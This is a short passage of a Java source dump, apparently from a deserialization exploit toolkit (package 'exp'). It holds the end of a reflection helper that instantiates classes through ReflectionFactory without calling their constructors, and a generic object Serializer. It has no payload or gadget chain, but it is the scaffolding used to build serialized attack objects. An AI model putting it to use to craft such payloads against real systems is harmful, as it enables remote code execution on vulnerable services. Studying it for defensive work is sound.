setAccessible(objCons); 63 | Constructor sc = ReflectionFactory 64 | .getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); 65 | setAccessible(sc); 66 | return (T)sc.newInstance(consArgs); 67 | } 68 | 69 | } 70 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/utils/Serializer.java: -------------------------------------------------------------------------------- 1 | package me.threedr3am.exp.utils; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.ObjectOutputStream; 6 | import java.io.OutputStream; 7 | import java.util.concurrent.Callable; 8 | 9 | public class Serializer implements Callable { 10 | private final Object object; 11 | public Serializer(Object object) { 12 | this.object = object; 13 | } 14 | 15 | public byte[] call() throws Exception { 16 | return serialize(object); 17 | } 18 | 19 | public static byte[] serialize(final Object obj) throws IOException { 20 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 21 | serialize(obj, out); 22 | return out.toByteArray(); 23 | } 24 | 25 | public static void serialize(final Object obj, final OutputStream out) throws IOException { 26 | final ObjectOutputStream objOut = new ObjectOutputStream(out); 27 | objOut.writeObject(obj); 28 | } 29 | 30 | } --------------------------------------------------------------------------------